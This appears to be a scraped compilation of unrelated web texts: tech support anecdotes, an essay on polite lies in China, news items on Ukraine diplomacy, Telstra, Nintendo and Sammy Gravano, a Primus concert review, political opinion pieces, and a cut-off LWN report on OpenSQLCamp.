check her connection. Everything is fine. I even test with ping and packet testing; again, very strong signal to the Internet.) Me: Ma’am, are you using a router? Customer: I don’t know. You guys installed it all. Me: Ma’am, we don’t install routers. Do you know the name of the router you’re using? Customer: No. Me: We can test the modem to make sure it’s working. Can you take your laptop into the room with the modem and unplug the modem from the rou— (Had I finished, I would have asked her to connect the laptop to the modem directly.) Customer: No. I couldn’t possibly do that! You just need to fix it. Me: Ma’am, are you suffering from an illness or injury preventing me from helping you today? Customer: No, and I couldn’t possibly be bothered with that. The modem and the laptop are on different floors. I called you to fix it. Why can’t you just fix it? 7. Push When Ringing Me: Thank you for calling [Cell Phone Provider]. This is [My Name]. How may I assist you today? Customer: Yes. Every time my phone rings and I try to answer it, my phone shuts off. It happens every time. Me: Well, that is pretty odd. Let me see if I can figure out what the issue with your handset is. (After spending almost an hour trying to look up account info and diagnose what could possibly be wrong with this woman’s phone with no luck, I am about to give up and replace the phone.) Me: So that I can write up in your account what exactly is happening so we can replace your phone, what button are you pushing when trying to answer the phone? Customer: The “Push When Ringing” button. Me: I’m sorry, which button? Customer: “Push When Ringing.” You know? P-W-R. Me: I think I know the problem… What are the funniest tech support stories you’ve ever heard? Share with us. -Recently I was reminded of something I learned ten years ago, while studying in Beijing. It was a month ago, and I was walking into a restaurant in Chengdu, around closing time, with a group of my wife’s friends. It was nearly 9pm and most of the staff were eating their shift meal or clearing tables, waiting for the last diners to finish. I asked a waiter if we could get some food and he responded apologetically that they were closing. Knowing that our dinner options were dwindling, I pleaded our case, asking that they seat us. To deflect my request the waiter said, ‘sorry, we are out of gas’. I knew it was a lie, but I did not take it personally. It brought to mind the director of my study abroad program in Beijing, who had introduced me to what she dubbed “the social institution of the polite lie.” The polite lie is a lie that a stranger tells a stranger to avoid the discomfort of being direct. She told a story of trying to catch a ride from a cab driver that was playing a game of cards on the street. “I would take you,” he said, but my car is out of gas. She could see that he was playing cards and did not want to leave his game. She could also see the dashboard of his car, and she pointed out that he did in fact have gas in his car. “That gauge is broken,” the driver retorted without looking up from his game. This phenomenon seemed to pop up frequently after it had been pointed out to me. On one occasion I ran into a group of friends eating at a restaurant. I sat down at a table beside them, not intending to eat. As we chatted, a waiter approached and asked what I wanted to order. “I’ve already eaten, but I would like some tea,” I said. “Sorry, we are out of tea”, the waiter said casually and walked away. I was stunned by the slap of the lie; I felt a mixture of confusion and insult. I see now the waiter was just too busy to serve me. I was announcing that I was not going to be a paying customer, and he was announcing that he was not going to be giving me complimentary tea. Though it seemed interesting from an anthropological perspective, the polite lie always bugged me. I love China, and this niggling social convention felt like the most disingenuous part of it. One frustrating encounter happened last year near my apartment. A new toy store had opened at the corner, and I wandered in to peruse their wares, idly chatting with the cashier as I fondled a magnetic floating globe. “So you guys just opened,” I asked. “We’re open every day from morning till night,” she responded. “No, I mean this location,” I clarified, “you just opened this store.” “No, we’ve been here for a few years, you probably just didn’t notice,” she replied matter-of-factly. I was infuriated by her suggestion that the opening of a new toy store near my house could have gone unnoticed by me for so long. I was instantly fuming, and then instantly amused at myself for taking offense at the remark. But I still couldn’t understand why this woman would want to dupe me over something so inconsequential. There had to be a functional purpose for this evasive rhetorical device. Then it suddenly dawned on me. She wasn’t trying to trick me, she was trying to cover up her own unfamiliarity with the business. I knew the store had just opened – I had seen it under construction – she must have just been hired. Maybe she didn’t even know the store’s history. “How long have you been working here,” I asked. Her face reddened, and she acknowledged that it was her first day. I brought up the polite lie with an expat friend of mine, another long-time Chengdu resident, and he mentioned that he had often encountered the polite lie with his Chinese friends, though not as its recipient. He told me: My Chinese friends would invite me to go do something, and I would tell them, ‘sorry, I can’t, I have to watch my kids.’ And that was the truth. And my Chinese friends would say ‘Okay, okay, okay, its okay, I understand. No problem.’ And I could hear in their voice that they thought I was just making up an excuse. The Chinese friends assumed they were being told a polite lie, happy to accept it. Social pleasantries utilize coded language, and if you are attuned to detect it, the polite lie is not so much an affront, as a form of indirect communication. There is no question that face plays a role in the perpetuation of the polite lie as a social convention. Rejecting someone outright can cause them to lose face, and a polite lie allows you to avoid that by fabricating an excuse. It is in some ways a gesture of respect, demonstrating a desire to avoid contradicting the other person. A polite lie can be a lifeline, allowing you to deflect the wrath of a social superior. In that way, I can imagine how these micro-doses of mistruth function as a kind of social lubricant, diffusing status conflicts, maintaining norms, and preventing the loss of face. So when I was recently hit with the explanation that the restaurant was out of gas, I was neither insulted nor dissuaded. Most restaurants in China close pretty early by Western standards, and I had been welcomed and denied by wait staff in similar situations in the past. So while I knew we might not be served, I also knew that the possibility was negotiable. If you want to overturn a polite lie, directly confronting it is not advisable, since the lie was concocted with the courteous intention to avoid confrontation. The way to diplomatically counter such a lie is to build upon the provided scenario, to give the other person an option to reverse their stance without losing face. You give them a step down (一个台阶下 ) as they say in Chinese, a way to yield without embarrassment. A Chinese friend repeated the staff’s message for me, “They said they are out of gas. We should go.” I ignored her. “Maybe you have enough gas for just few more dishes?” I said to the waiter. “We have aaaaaall these people – I gestured to our group – I don’t want them to be hungry.” Perhaps sensing oncoming hassle, the staff relented and ushered us upstairs. Avoidance of hassle can be a key motive for the polite lie. A Dutch friend, newly arrived in Chengdu, asked me to help him find a tailor who could execute some fashions designs that he had. His ideas were pretty straightforward, and he was frustrated that every tailor he visited had told him, “We can’t do that” – it should have been a snap for any experienced tailor, he reasoned. I explained to him that the reason he was being given was probably not the whole story. When the tailors told him “we can’t do that,” they were really saying, “you look like a big hassle, and I don’t want to deal with you.” They were excusing themselves from the interaction before it even began. One of the most confounding things about the polite lie is that it is deployed when it seems unnecessary. The lies of the tailors did not even register as lies to my friend – after all, why would anyone even bother lying about something like that? Why do I even care how long a toy store has been open? I can cope with the harsh truth if you just don’t feel like keeping the restaurant open for me. There is part of me that refuses to accept that casually lying to a stranger can be anything other than socially harmful. But then I catch a whiff of my own ethno-centrism. I remember a Chinese friend who refused to accept my (heartfelt) assertion that an American friend and I graphically joking about each other’s mothers was anything other than disgracefully insulting. The more I joked about my American friend’s mother, the angrier the Chinese friend became, and the funnier it became to me, exacerbating the situation. To me, the suggestion that my American friend could possibly be offended by such remarks was absurd. After all, I would not dare to insult the mother of anyone but my dearest friends. To me, the mother jokes were an expression of fraternity. If I can embrace the idea of an insult as a form of endearment, I should be able to accept the possibility of a lie as a form of courtesy. Whether it boils down to the interpretation of an insult, or the interpretation of truth, context is the ultimate arbiter of meaning. I brushed up against the soul of the matter again this past weekend. I had called my water store to order three new jugs of drinking water, and typical of their recent service, an hour and a half had passed without the water being delivered. I called the water dispatch center, irate about the delay. “This happens all of the time,” I said. “ALL-THE-TIME. Every time.” I was verging on belligerent. “The delivery guy was eating lunch,” the voice on the other end of the line shot back reflexively. Was he really at lunch, I wondered. It was around lunchtime. It was impossible to know. Either way, the real reason for the delay was more complicated. One factor, I learned later, was that the dispatch center number I had been calling was no longer technically correct. The branch was still operational, but it had been supplanted by a newer, closer branch, which was now responsible for delivering to my section of the complex. The old branch was still obliged to field my call, because I had pre-purchased water coupons from them, but now I was out of their delivery zone. The slow delivery time was the result of my order being relayed from one dispatch center to the next, getting de-prioritized along the way. The water delivery guy explained this all to me, when he finally arrived with my jugs. I could understand why the woman from the old branch would have elided over these details on the phone. It probably seemed a lot simpler to tell me that the delivery guy was eating lunch, than to explain the politics of delivery zone redistricting to an angry foreigner. The efficiency the polite lie must have been alluring – how quickly it could staunch my stream of complaints, how cleanly it could end the phone call. I am averse to social conventions that perpetuate euphemistic language, so at the end of the day, even after giving consideration to its practical function and cultural context, it is still hard for me to see the polite lie as anything other than a kind of linguistic pathogen. It dilutes communication, and it normalizes a social dynamic in which two people are not always comfortable being completely honest with one another. But there is an important lesson that I take away from the experience. If I dislike an element of local culture, I should make sure that I dislike it for what it really is, and not what I imagine it to be. In practice, local meaning trumps the pseudo-objective perspective of outsider like myself. Among denizens of any locale there is a shared familiarity with the contours of social discourse. Language is a map of our collective cognitive landscape, and the polite lie is just one thoroughfare of communication that we navigate to reach one another’s intended meaning. I doubt that the polite lie is unique to China, but it was certainly alien to my upbringing. That makes it anathema to me, but for many others, the idea of a “friendly” insult to someone’s mother is no doubt equally unfathomable. If the people who traffic in the polite lie do not feel deceived, that should factor into how I view the phenomenon. The polite lie is not evidence of moral failure, or a predisposition for deception, or a culture of untrustworthiness… it is just an anachronistic piece of social etiquette that rubs me the wrong way. A lie is a lie, except when it doesn’t feel like one. A punch in the face is assault, except when it happens in a boxing ring. -U.S. President Barack Obama told Russian President Vladimir Putin on Monday that Russia's actions in Ukraine were not conducive to a diplomatic solution of the crisis in that country, and the White House warned that Moscow would suffer further costs for its behavior. Obama spoke to Putin at the Russians' request, a senior administration official said, describing the call as "frank and direct," a diplomatic construction that usually means tense. "The president made clear that the diplomatic path was open and our preferred way ahead, but that Russia's actions are neither consistent with or conducive to that," the official said. Obama told Putin that Kiev had made "real offers" to address concerns about the decentralization of powers to local governments in the country. "That is a matter for Ukrainians to decide," the official said. "We have always and will continue to support an inclusive process." Earlier, U.S. officials stopped short of announcing a new set of sanctions against Russia but said they were in consultations with European partners about the prospect. The European Union agreed on Monday to step up sanctions against Moscow by expanding a list of people subjected to asset freezes and visa bans. Keep updated: Sign up to our newsletter Email * Please enter a valid email address Sign up Please wait… Thank you for signing up. We've got more newsletters we think you'll find interesting. Click here Oops. Something went wrong. Please try again later. Try again Thank you, The email address you have provided is already registered. Close "Russia continues to engage in provocative actions in eastern Ukraine. The mere presence of the troops, in addition to what else they've done inside Ukraine, creates a threat of destabilization within Ukraine," White House spokesman Jay Carney told reporters. "I can assure you that Russia's provocations - further transgressions and provocations will come with a cost. And I'm not here to specify what cost will come from which specific action, but there have already been costs imposed on Russia; there will be further costs imposed on Russia." The next round of U.S. sanctions, which would be the fourth imposed since the Ukraine crisis began, is likely to target Russians close to Putin as well as Russian entities, three sources familiar with the discussions said on Sunday. U.S. State Department spokeswoman Jen Psaki noted that the United States was prepared to impose sanctions on individuals and entities in the financial services, energy, metals, mining, engineering and defense sectors. The sanctions have been the most visible sign of U.S. anger at Russia's annexation of the Crimea region in southern Ukraine last month, reflecting the deepest plunge in U.S.-Russian relations since the Cold War. Obama spoke to French President Francois Hollande about the crisis on Monday and praised Ukraine's government for showing "great restraint" and working to unify the country, the White House said. Carney also confirmed that the director of the U.S. Central Intelligence Agency, John Brennan, had been in Kiev over the weekend and decried what he called "false claims" leveled at the CIA by Russian authorities. "Senior level visits of intelligence officials are a standard means of fostering mutually beneficial security cooperation including U.S.-Russian intelligence collaboration going back to the beginnings of the post-Cold War era," Carney said. "U.S. and Russian intelligence officials have met over the years. To imply that U.S. officials meeting with their counterparts (in Kiev) is anything other than in the same spirit is absurd," he said. According to media reports, Russia has urged Washington to explain what Brennan was doing in Ukraine. -Reading Steiner: REFERENCE-OGRAPHY PUNOGRAPHY: So, when you go back in time in "Life is Strange", you technically bring anyone who died a few seconds ago back from the dead, right? What if those people'sdon't come back with them? What if they just came back as empty husks with a few base instincts, like cannibalism (the basest of all human instincts, of course)? And if souls aren't affected by time-travel, then logically, fungus isn't either, because souls and fungus are in the same biological kingdom (duh), which means that whenever you go back in time in "Life is Strange", fungus is able to evolve more and more until something that used to only be able to infect insects jumps to infecting mammals -- even humans. The evolution would seem so sudden to anyone without the Reading Steiner* as the fungus makes its way into food delivered to the masses and infects the human species on a global scale.So, when you go back in time in "Life is Strange"... what are youdoing?1. An awareness of temporal re-experience2. The ability to recognize that you have undergone a nonstandard passing of time3. Knowing that you have gone back in time, but also retaining your memory from the original timelineThe red-headed girl, Ellie, is from "The Last of Us" which spawned my first parody series, "THE LEAST OF US" (look out for spoilers).The two with the gun, Lee and Clem, are from "The Walking Dead Game", which I've also made cartoons for called "THE WALK-IN DEAD" (also spoilers).The title is a pun on the term "temporal anomaly", which is a disruption in the space-time continuum usually resulting from time-travel or something like that. -In addition to Nintendo 2DS announcement, Nintendo of America announced a $50 dollar price drop for the struggling Wii U console. We've just gotten word from Nintendo Australia will not be following suit. As of this point there are no current plans for a Wii U price drop in Australia or New Zealand. This also follows news that Nintendo will not be bringing the Wind Waker HD Limited Edition to our shores, or the Wii U Wind Waker HD bundle. The limited edition for Wind Waker HD was rather snazzy, featuring a Ganondorf figurine, so I find this news rather disappointing. As for the price drop, the statement coming from Nintendo Australia didn't necessarily rule out any future price drops. I suspect we'll definitely see one, but probably not before Christmas. -Primus :: 6.24.14 :: The Capitol Theatre :: Port Chester, NY Read Chad’s review after the photo gallery. Primus is an acquired taste, existing in – or more like occupying – the space where art-rock, metal, funk and jamband meet to forget themselves and rage together for a few hours. That the trio is sometimes inaccessible and occasionally stunty is part of the deal: set the scene, let the casual onlookers hang out nervously around the perimeter and engage front-and-center the fans for whom this odd collection of sounds and grooves holds singular appeal. It isn’t that the setlists or jams see enormous variation or surprise, or that the expected theatrics – gnarly stage setup, titillating visuals, Les Claypool’s twisted-wiseacre monologues – are all that fresh each and every time. No, what brings you back to Primus – what sells out a show like this typically galvanizing night at the Capitol Theater – is the depth of the experience. All Les Claypool bands have layers. You start with the carnival atmosphere, commingling with those who have also come for the “show” aspect. This is a place where of course there will be trippy lights, and of course there will be two 15-foot astronaut statues flanking the stage and of course vintage Popeye cartoons will be shown on the projection screen during set break, because why not? A layer below that is the aural assault: Les’ filthy thump, slaps and grooves, Tim Alexander’s pummeling, yet nimble drumwork, Larry LaLonde’s abrasive guitar runs, stabs and snatches of melodic counterpoint. And a layer below that is the actual songcraft – a catalog of character sketches and incisive, even scathing commentary that asks nothing of the listener but to hang on a little longer before it’s default-described as “wacky,” so often the crutch phrase used to describe Primus’ eccentric approach. The two sets at the Capitol drew from across the Primus discography, and what was most encouraging was how the best songs from 2011’s Green Naughahyde – particularly the frank, let’s-funk-our-way-through-the-pain “Jilly’s On Smack” and the mutant bounce of “Lee Van Cleef” – have integrated with the expected Primus highs of tunes like “Jerry Was a Race Car Driver.” I don’t share the opinion that “Naughahyde” is any great leap forward for the band, but a solid collection to keep pace – if not quite on par –with the Frizzle Fry era of Primus output and convince us that with all the other things occupying Claypool’s creative space, returning to Primus isn’t just a nostalgia trip. Maybe that’s the way to think about Primus in 2014. Les turned 50 last year and proved he could leave it behind before, so that it’s back and once again thriving – having not altered its fundamentals – is the reason to keep coming. There’s heart behind Primus; it’s not a mechanical “wacky” for wacky’s sake. Underneath the scary-funky menagerie populating this trio’s world is a band aging with grace. Primus, 6/24/2014 Setlist: Set One: Those Damned Blue-Collar Tweekers, The Last Salmon Man, Southbound Pachyderm, Over the Falls, Lee Van Cleef, The Heckler, Wynona’s Big Brown Beaver, Frizzle Fry, Groundhog’s Day Set Two: Spaghetti Western, Duchess and the Proverbial Mind Spread, Moron TV, American Life, Jilly’s On Smack, Mr. Krinkle, My Name Is Mud, Mrs. Blaileen, Jerry Was a Race Car Driver, Harold of the Rocks Encore: Too Many Puppies > Hello Skinny > Too Many Puppies JamBase | Primus Sucks Go See Live Music! -“They love to engage in revisionist history,” Rep. Virginia Foxx (R-NC) said on the floor of the U.S. Congress, Nov. 19. She was referring to Democrats as she had risen to speak in opposition to an environmental protection measure intended to safeguard a 21-mile segment of Molalla River in Oregon. As she spoke, Foxx set about some blatant revisionism of her own. Foxx’s began her objection with the bizarre suggestion that the GOP had been the champion of “good” environmental protection laws. Had she stopped there, her floor speech would have justifiably been dismissed as a bit of irony. Instead, Foxx went on to perpetuate the misconception that Republicans were also the champions of civil rights legislation in the 1960s, amid fervent obstruction from Democrats. Upon the completion of Foxx’s remarks, she was passionately rebuked by Rep. Dennis Cardoza (D-CA). “I can’t believe my ears,” Cardoza said, and went on to assign credit for the Civil Rights Act (1964) and the Voting Rights Act (1965) to the efforts to the Democratic administration of Lyndon B. Johnson. Here is video of the exchange on the House floor from the ThinkProgress.org Nov. 19 post on the subject. (continued below the clip) While Cardoza’s assessment was factually correct and his tone appropriate, his rebuke of Foxx would have been strengthened by informing her that the Republican Party of which she spoke no longer exists. Indeed, the Republicans whose votes were vital to passing civil rights legislation in the 1960s would be derided as RINOs – Republicans in Name Only – by Foxx and like minded, right-wing ideologues of today’s GOP. That conservatives have sought to maintain this myth is nothing new. Paul von Hipple addressed it in a 2005 Alternet.org post responding to a taxpayer funded “Republican Freedom Calendar” which presented a one-sided representation of their Party’s historic role as advocates of civil rights. The evidence employed to prop up this argument relies upon the higher proportion of GOP votes for the 1964 Civil Rights Act. It’s a far too narrow interpretation of history, as von Hipple indicated in his 2005 post: In fact, Congressional votes on the Civil Rights Act did not break along party lines – they split along regional lines. In the North, both parties supported the Civil Rights Act; in the South, both parties opposed it. The difference was that the Republican Party had very little presence in the South, which had been dominated since the 1870s by the segregationist wing of the Democratic Party. This period marks a historical turning point for both political parties. President Johnson and liberal Northern Democrats were ill prepared for the Southern white backlash that followed the passage of civil rights legislation. Of course, the legislation wasn’t the only factor, but it was during this time that the Democratic Party set on a path to shedding its racist elements. In doing so, Democrats lost the political grip on the South it had held since the Great Depression. The path chosen by the Republicans was altogether different. Interestingly, the GOP underwent a schism, not unlike the one presently in progress. Republican conservatives, sympathetic to the racist backlash among Southern whites, made their first political inroads in the South around this time. The most significant evidence for this trend was the GOP’s 1964 presidential nomination of Arizona Senator Barry Goldwater. Before Goldwater’s nomination, the GOP’s regional strength was based in the American North-East. Their party leaders were inclined to support government investment in infrastructure. Having been decimated during their initial struggle against Franklin Roosevelt’s New Deal (which they decried as “socialist,” sound familiar?) a moderate GOP persisted as a minority party, seeking to improve FDR’s legislation rather than rail against it. Goldwater lost to LBJ in 1964, but having won his home state and four other Southern states in the contest, the GOP’s course was set. They abandoned their moderate positions — the mantle of which Foxx is presently attempting to claim — in pursuit of the racially divisive “Southern Strategy.” This political strategy was neatly summarized by Sidney Blumenthal in a 2003 Salon.com post: With the coming of the civil rights revolution, Democratic presidents John F. Kennedy and Lyndon Johnson deployed the federal government to support social equality. In reaction, Republicans — from Barry Goldwater to Richard Nixon to Ronald Reagan — developed a Southern strategy to win over white voters in the region who felt betrayed. That strategy involved using widely understood code words going back to the Civil War like “states’ rights,” an updating of the well-worn strategy of Southern reactionaries to demagogue on race in order to keep poor and working-class whites divided from blacks on issues of common interest. Thus the party of Lincoln became the party of Reagan. Indeed, Reagan’s ascendency is instructive. His rise was facilitated by the GOP’s rejection of its moderate voices. Just as Foxx mistakenly claimed the civil rights mantle on Nov. 19, Reagan did also. Yet his true feelings were betrayed by his policies and rhetoric. From the above mentioned von Hibble Alternet post: …Ronald Reagan, in his 1966 campaign to become governor of California, endorsed repeal of California’s Fair Housing Act, saying, “If an individual wants to discriminate against Negroes or others in selling or renting his house, it is his right to do so.” Similarly, Foxx’s own statements over the past year illustrate her departure from the moderate positions of the kinder, gentler GOP of yore. She has more than made herself clear regarding the present-day civil rights issues, most notably in debates over the rights of homosexuals and health care reform. My Care2 colleague Tracy Viselli understandably called for Foxx’s apology or resignation following her slanderous comments about Matthew Sheppard on the House floor while debating the hate crime legislation that bares his name. More recently, Viselli , rightly, took issue with Foxx’s declaration that the present health care reform proposals pose a bigger threat to America than “any terrorist from any country.” Add to this Foxx’s 2006 vote, along with 33 other Republicans, opposing the extension of the Voters Rights Act, and it becomes clear that any claim of civil rights advocacy exists only in her mind. Further, these outrageous examples of Foxx’s true beliefs plainly illustrate that the North Carolina congresswoman has absolutely nothing in common with the Republicans who helped advance the cause of civil rights in the 1960s. Rather, Foxx is just another product of the cynical GOP which prospered by exploiting the societal divisions left after their passing. Related on Care2: ~ Judy Shepard: Grace in the Face of Foxx Photo used under the Creative Commons Attribution Act; Rep. Virginia Foxx -If Telstra wins the company will get between $100 million and $200 million more than what NBN Co expects to pay over a 10-year period. It is understood the problem was caused by the lack of a specific year in the contract despite legal teams working on the deal for over two years. Arguments heard by judge The problem was discovered after the deal was signed and both sides attempted to plan the timing of the payments. Both sides have already had arguments heard by former Federal Court judge Kevin Lindgren in 2012. Mr Lindgren found in favour of NBN Co in December 2012 and provided an 11-page explanation as part of the judgement. “I have come to the conclusion that NBN Co is correct," he said. “Telstra’s arguments are akin to the tail wagging the dog." Telstra has chosen not to accept Mr Lindgren’s judgement and will contest the issue in the NSW Supreme Court. A preliminary hearing is due to begin on November 8 in Sydney. Telstra spokeswoman Nicole ­McKechnie said the legal proceedings and their impact would be significant but not material from a investor ­perspective. “We have commenced legal proceedings with NBN Co over when CPI adjustments should start to apply under the NBN Definitive Agreements," she said. “We have one take on the contract and NBN Co has another." The case has the potential to cause problems for both companies as they enter fresh negotiations over the $11.2 billion contract. Timing of lawsuit Where Labor’s $37.4 billion NBN would have replaced Telstra’s ­copper network, the new Coalition ­government prefers a fibre-to-the-node approach that will use the copper connections. The Coalition government will now have to buy and use Telstra’s copper network, once valued at up to $17 billion, to build its fibre-to-the-node system which is expected to be cheaper and slower than Labor’s version. Ms McKechnie said that resolving the issue before negotiations began would “help provide greater certainty and as such may assist future policy ­discussions." She also insisted the re­negotiations of the contract had nothing to do with the timing of the lawsuit. Telstra’s lead NBN negotiator Tony Warren last week told investors in ­Sydney that any negotiation would need to add value to the telco’s existing deal. But he also said that positive statements by Communications Minister Malcolm Turnbull had helped assure the company a renegotiation could be successful for both sides. -ANALYSIS/OPINION: The Senate has turned full-force toward repeal, replace, reform, what have you of Obamacare. And while admitting the way is tough-going, Republicans by and large say: The premiums, and their potential to shred the family finances of households across America, are core to concerns. Well, that is a core concern. But what’s an even bigger concern is the fact that all these discussions signify one thing, and one overlooked thing only: The free market, on America’s health care, has gone the way of the dodo bird. “The biggest most notable damage is these skyrocketing premiums,” said Sen. Ron Johnson, CNN reported. Notice what he didn’t say — that the biggest most notable damage from Obamacare is the fact that it set the government securely in place in America’s health care system. But even on that — the skyrocketing premiums front — the Senate seems a bit flummoxed about what to do, Look at these quotes, the first, from Johnson, as CNN noted: “I’m still on the kind of 30,000 foot-level in terms of what are the primary goals of our efforts here.” And this, from Sen. John Cornyn: “We haven’t made any decisions. We’re just batting around ideas.” And this, from Sen. Ted Cruz: “This is not going to be easy.” These are not comforting statements — hardly the sort of rhetoric Americans who voted based on a hatred of Obamacare would like to hear. In early May, Cornyn told reporters that the Senate was going to be “going through the issues methodically,” scrutinizing funding for Medicaid and trying to cut costs while lowering premiums. But part and parcel of all the discussion is this underlying truth: the reform-repeal-replace campaign still allows for government-run healthcare. And that right there is the elephant in the room. So long as the government takes the lead on deciding Americans’ health insurance plans, it’s Americans who are out of luck. It’s the Constitution that’ll stand corrupted, the free market that’ll feel the pinch — the individual who’ll lose the freedom. Copyright © 2019 The Washington Times, LLC. Click here for reprint permission. -Could a Dutch Volunteer Be Charged with Murder for Killing Islamic State Militants? When a Dutch man decided to join Kurdish forces in Syria to help them beat back the Islamic State, he probably thought he would return to the Netherlands to a hero’s welcome. Turns out he returned to murder charges instead. Dutch prosecutors believe the 47-year-old, whose name has not been released due to the country’s strict privacy laws, killed Islamic State militants in Syria. Although he is a former Dutch soldier, he reportedly traveled there without any instruction from the military. If he did in fact kill Islamic State militants, that could earn him prison time in the Netherlands. He appeared before an investigating judge in the city of Rotterdam on Friday, but was released after agreeing to turn over his passport, which the judge said would ensure he did not travel back to Syria. Still, the possibility of a full-fledged criminal trial is very real. Prosecutors said Friday there is “an important difference between Dutch nationals who travel to Syria on their own to fight against IS and Dutch soldiers who train Iraqi and Kurdish forces.” The Netherlands has backed a campaign against the Islamic State, and even sends Dutch soldiers to train Kurdish forces. But the country does not encourage Dutch nationals to join the Kurds on their own. Still, some 100 Westerners are thought to have joined them in Iraq and Syria in the past two years. In 2015, at least one Canadian and one Briton were killed in battle. But whoever this 47-year-old is, he’s not the only Dutch committed to backing up the Kurds. In October 2014, members of No Surrender, a Dutch biker gang, announced gang members had traveled to Mosul to fight the Islamic State. At the time, Dutch public prosecutor spokesman Wim de Bruin defended the bikers. “Joining a foreign armed force was previously punishable; now it’s no longer forbidden,” he told AFP. “You just can’t join a fight against the Netherlands.” Photo Credit: Spencer Platt/Getty Images -Notorious ​M​afia hit man-​turned-canary Salvatore “Sammy the Bull” Gravano has been released from an Arizona prison five years early, according to inmate records. ​​ The ​infamous ​72-year-old mob rat, who ​squealed to ​help authorities bring down “Dapper Don” John Gotti in exchange for a 1991 plea deal, was let out Sept​. 18, Arizona’s Department of Corrections records show. He’ll​​ remain on federal parole for the rest of his life, as ordered by Brooklyn federal ​Judge Allyne Ross in 2002 when she locked him up. “I spoke to him,” the aged wiseguy’s daughter, Karen Gravano, ecstatically told The Post. “He is happy to be out after spending the last 17½ years in prison. He’s in good health, great spirits and he’s anxious to move forward with the next phase of his life.” “There is no doubt I’m extremely happy,” she said. “I’ve been fighting for this day the whole 17½ years that he’s been in prison, so I’m ecstatic it’s finally here.” Defense attorney Thomas Farinella echoed Gravano’s comments almost exactly, saying his client was “in good health and great spirits” and “extremely happy to be out.” He declined to comment on whether the elder Gravano would settle again in Arizona, or if he would continue sketching — a hobby he picked up while incarcerated. The former Gambino underboss pleaded guilty to running a nearly 50-person, $500,000-a-week ecstasy ring in 2001, and was sentenced to 20 years behind bars. That conviction followed a sweetheart deal in which Gravano was sentenced to just five years in prison for an admitted 19 murders — in exchange for helping the feds fell 39 mobsters, including his former boss and pal the Teflon Don. The turncoat consigliere took the stand and spilled the Five Families’ secrets for five days during Gotti’s trial — and then testified in nine more, putting 39 wiseguys and associates in prison. At the time, he was the highest-ranking member of La Cosa Nostra to turn fed. After a short stint in the big house followed by an even shorter one in witness protection, he moved to Tempe, Arizona, and lived under the assumed name Jimmy Moran. While Gravano was living in Arizona, peddling ecstasy and installing pools, he barely escaped his own killing, when the late godfather’s enraged brother, Peter Gotti, sent a team of hitmen to go find him in the Copper State. The then-Gambino crime boss ordered the hit in retaliation for his brother’s death from cancer at age 61 behind bars. His latest bid for early release was in 2015, when Ross declined to shave years off his sentence, citing his “longstanding reputation for extreme violence.” -A report from OpenSQLCamp Did you know...? LWN.net is a subscriber-supported publication; we rely on subscribers to keep the entire operation going. Please help out by buying a subscription and keeping LWN on the net. What do you get when you put together 80 to 100 hard-core database geeks from ten different open source databases for a weekend? OpenSQLCamp , which was held most recently at MIT. Begun three years ago, OpenSQLCamp is a semi-annual unconference for open source database hackers to meet and collaborate on ideas and theories in the industry. It's held at various locations alternately in Europe and the United States, and organized and run by volunteers. This year's conference was organized by Sheeri Cabral, a MySQL community leader who works for PalominoDB This year's event included database hackers who work on MySQL, MariaDB, PostgreSQL, VoltDB, Tokutek, and Drizzle. In contrast to the popular perception that the various database systems are in a no-holds barred competition for industry supremacy, most people who develop these systems are more interested in collaborating with their peers than arguing with them. And although it's OpenSQLCamp, programmers from "NoSQL" databases were welcome and present, including MongoDB, Membase, Cassandra, and BerkeleyDB. While the conference was mainly database engine developers, several high-end users were present, including staff from Rackspace, GoDaddy, VMWare, and WidgetBox. The conference's location meant the participation of a few MIT faculty, including conference co-chair Bradley Kuzsmaul. While few of the students who registered actually turned up, attendees were able to learn informally about the software technologies which are now hot in universities (lots of work on multi-processor scaling, apparently). Friday The conference started with a reception at the WorkBar, a shared office space in downtown Boston. After a little drinking and socializing, participants slid immediately into discussing database and database industry topics, including speculation on what Oracle is going to do with all of its open source databases (answer: nobody knows, including the people who work there), recent releases of PostgreSQL and MySQL, and how VoltDB works. Whiteboard markers came out and several people shifted to technical discussions and continued the discussion until 11pm. Jignesh Shah of VMWare brought up some interesting SSD testing results. In high-transaction environments, it seems that batching database writes actually reduces throughput and increases response times, completely contrary to performance on spinning disks. For example, Jignesh had experimented with asynchronous commit with large buffers, which means that the database returns a success message to the client and fsyncs the data in batches afterward. This reduced database write throughput, whereas on a standard spinning disk RAID it would have increased it up to 30%. There was a great deal of speculation as to why that was. A second topic of discussion, which shifted to a whiteboard for comprehensibility, was how to put the "consistency" in "eventual consistency" without increasing response time. This became a session on Sunday. This problem, which is basic to distributed databases, is the question of how you can ensure that any write conflict is resolved in exactly the same way on all database nodes for a transactional database which is replicated or partitioned across multiple servers. Historical solutions have included attempting to synchronize timestamps (which is impossible), using centralized transaction counter servers (which become bottlenecks), and using vector clocks (which are insufficiently determinative on a large number of nodes). VoltDB addresses this by a two-phase commit approach in which the node accepting the writes checks modification timestamps on all nodes which could conflict. As with many approaches, this solution maintains consistency and throughput at a substantial sacrifice in response times. Saturday The conference days were held at MIT, rather ironically in the William H. Gates building. For those who haven't seen Frank Gehry's sculptural architecture feat, it's as confusing on the inside as it is on the outside outside, so the first day started late. As usual with unconferences, the first task was to organize a schedule; participants proposed sessions and spent a long time rearranging them in an effort to avoid double-scheduling, which led to some "concurrency issues" with different versions of the schedule. Eventually we had four tracks for the four rooms, nicknamed "SELECT, INSERT, UPDATE and DELETE". As much as I wanted to attend everything, it wasn't possible, so I'll just write up a few of the talks here. Some of the talks and discussions will also be available as videos from the conference web site later. I attended and ran mostly discussion sessions, which I find to be the most useful events of an unconference. Monty Taylor of Drizzle talked about their current efforts to add multi-tenancy support, and discussed implementations and tradeoffs with other database developers. Multi-tenancy is another hot topic now that several companies are going into "database as a service" (DaaS); it is the concept that multiple businesses can share the same physical database while having complete logical separation of data and being unaware of each other. The primary implementation difficulty is that there is a harsh tradeoff between security and performance, since the more isolated users are from each other, the less physical resources they share. As a result, no single multi-tenancy implementation can be perfect. Since it was first described in the early 80's, many databases have implemented Multi-Version Concurrency Control (MVCC). MVCC is a set of methods which allow multiple users to read and modify the same data concurrently while minimizing conflicts and locks, supporting the "Atomicity", "Consistency", and "Isolation" in ACID transactions. While the concept is conventional wisdom at this point, implementations are fairly variable. So, on request, I moderated a panel on MVCC in PostgreSQL, InnoDB, Cassandra, CouchDB and BerkeleyDB. The discussion covered the basic differences in approach as well as the issues with data garbage collection. Jignesh Shah of VMWare and Tim Callagan of VoltDB presented on current issues in database performance in virtualized environments. The first, mostly solved issue was figuring out degrees of overcommit for virtualized databases sharing the same physical machine. 